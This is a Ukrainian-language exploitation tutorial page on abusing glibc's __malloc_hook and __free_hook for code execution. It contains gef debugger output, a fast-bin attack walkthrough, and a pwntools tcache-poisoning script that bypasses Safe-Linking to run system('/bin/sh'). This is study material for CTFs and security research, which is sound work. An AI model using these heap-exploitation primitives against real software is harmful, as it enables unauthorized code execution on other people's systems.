# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} ## **Malloc Hook** Як ви можете побачити на [Офіційному сайті GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), змінна **`__malloc_hook`** є вказівником, що вказує на **адресу функції, яка буде викликана** щоразу, коли викликається `malloc()`, **збережену в секції даних бібліотеки libc**. Тому, якщо ця адреса буде перезаписана, наприклад, **One Gadget**, і буде викликано `malloc`, то **буде викликано One Gadget**. Щоб викликати malloc, можна дочекатися, поки програма викличе його, або **викликавши `printf("%10000$c")**, що виділяє занадто багато байтів, змушуючи `libc` викликати malloc для їх виділення в купі. Більше інформації про One Gadget в: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] > Зверніть увагу, що хуки **вимкнені для GLIBC >= 2.34**. Є інші техніки, які можна використовувати в сучасних версіях GLIBC. Дивіться: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook Це було зловжито в одному з прикладів на сторінці, зловживаючи атакою швидкого біну після зловживання атакою неупорядкованого біну: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} Можливо знайти адресу `__free_hook`, якщо бінарний файл має символи, використовуючи наступну команду: ```bash gef➤ p &__free_hook ``` [У пості](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) ви можете знайти покрокову інструкцію про те, як знайти адресу free hook без символів. У підсумку, у функції free:
gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 
У вказаній точці зупинки в попередньому коді в `$eax` буде знаходитися адреса free hook. Тепер виконується **швидка атака на бін**: - По-перше, виявлено, що можливо працювати з швидкими **частинами розміру 200** в місці **`__free_hook`**: -
gef➤  p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
- Якщо нам вдасться отримати швидку частину розміру 0x200 у цьому місці, буде можливим перезаписати вказівник функції, яка буде виконана. - Для цього створюється нова частина розміру `0xfc`, і об'єднана функція викликається з цим вказівником двічі, таким чином ми отримуємо вказівник на звільнену частину розміру `0xfc*2 = 0x1f8` у швидкому біні. - Потім викликається функція редагування в цій частині, щоб змінити адресу **`fd`** цієї швидкої біну, щоб вказати на попередню функцію **`__free_hook`**. - Потім створюється частина розміру `0x1f8`, щоб отримати з швидкого біну попередню непотрібну частину, тому створюється ще одна частина розміру `0x1f8`, щоб отримати швидку частину в **`__free_hook`**, яка перезаписується адресою функції **`system`**. - І нарешті, частина, що містить рядок `/bin/sh\x00`, звільняється, викликаючи функцію видалення, що викликає функцію **`__free_hook`**, яка вказує на system з `/bin/sh\x00` як параметром. --- ## Отруєння Tcache & Safe-Linking (glibc 2.32 – 2.33) glibc 2.32 представив **Safe-Linking** – перевірку цілісності, яка захищає *однозв'язні* списки, що використовуються **tcache** та швидкими біном. Замість того, щоб зберігати сирий прямий вказівник (`fd`), ptmalloc тепер зберігає його *обфусцированим* за допомогою наступного макросу: ```c #define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) ``` Наслідки для експлуатації: 1. **heap leak** є обов'язковим – зловмисник повинен знати значення `chunk_addr >> 12` під час виконання, щоб створити дійсний обфусцований вказівник. 2. Можна підробити лише *повний* 8-байтовий вказівник; часткові перезаписи одного байта не пройдуть перевірку. Мінімальний примітив отруєння tcache, який перезаписує `__free_hook` на glibc 2.32/2.33, виглядає так: ```py from pwn import * libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") p = process("./vuln") # 1. Leak a heap pointer (e.g. via UAF or show-after-free) heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) heap_base = heap_leak & ~0xfff fd_key = heap_base >> 12 # value used by PROTECT_PTR log.success(f"heap @ {hex(heap_base)}") # 2. Prepare two same-size chunks and double-free one of them a = malloc(0x48) b = malloc(0x48) free(a) free(b) free(a) # tcache double-free ⇒ poisoning primitive # 3. Forge obfuscated fd that points to __free_hook free_hook = libc.sym['__free_hook'] poison = free_hook ^ fd_key edit(a, p64(poison)) # overwrite fd of tcache entry # 4. Two mallocs: the second one returns a pointer to __free_hook malloc(0x48) # returns chunk a c = malloc(0x48) # returns chunk @ __free_hook edit(c, p64(libc.sym['system'])) # 5. Trigger bin_sh = malloc(0x48) edit(bin_sh, b"/bin/sh\x00") free(bin_sh) ``` Фрагмент вище був адаптований з недавніх CTF викликів, таких як *UIUCTF 2024 – «Rusty Pointers»* та *openECSC 2023 – «Babyheap G»*, обидва з яких покладалися на обходи Safe-Linking для перезапису `__free_hook`. --- ## Що змінилося в glibc ≥ 2.34? Починаючи з **glibc 2.34 (серпень 2021)**, хуки виділення пам'яті `__malloc_hook`, `__realloc_hook`, `__memalign_hook` та `__free_hook` були **видалені з публічного API і більше не викликаються аллокатором**. Символи сумісності все ще експортуються для застарілих бінарних файлів, але їх перезапис більше не впливає на контрольний потік `malloc()` або `free()`. Практичне значення: на сучасних дистрибутивах (Ubuntu 22.04+, Fedora 35+, Debian 12 тощо) ви повинні перейти до *інших* примітивів захоплення (IO-FILE, `__run_exit_handlers`, розпилення vtable тощо), оскільки перезаписи хуків будуть тихо зазнавати невдачі. Якщо вам все ще потрібна стара поведінка для налагодження, glibc постачає `libc_malloc_debug.so`, який можна попередньо завантажити, щоб знову активувати застарілі хуки – але бібліотека **не призначена для виробництва і може зникнути в майбутніх випусках**. --- ## Посилання - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). - Safe-Linking – Усунення 20-річного експлойту malloc() (Check Point Research, 2020) - примітки до випуску glibc 2.34 – видалення хуків malloc {{#include ../../banners/hacktricks-training.md}}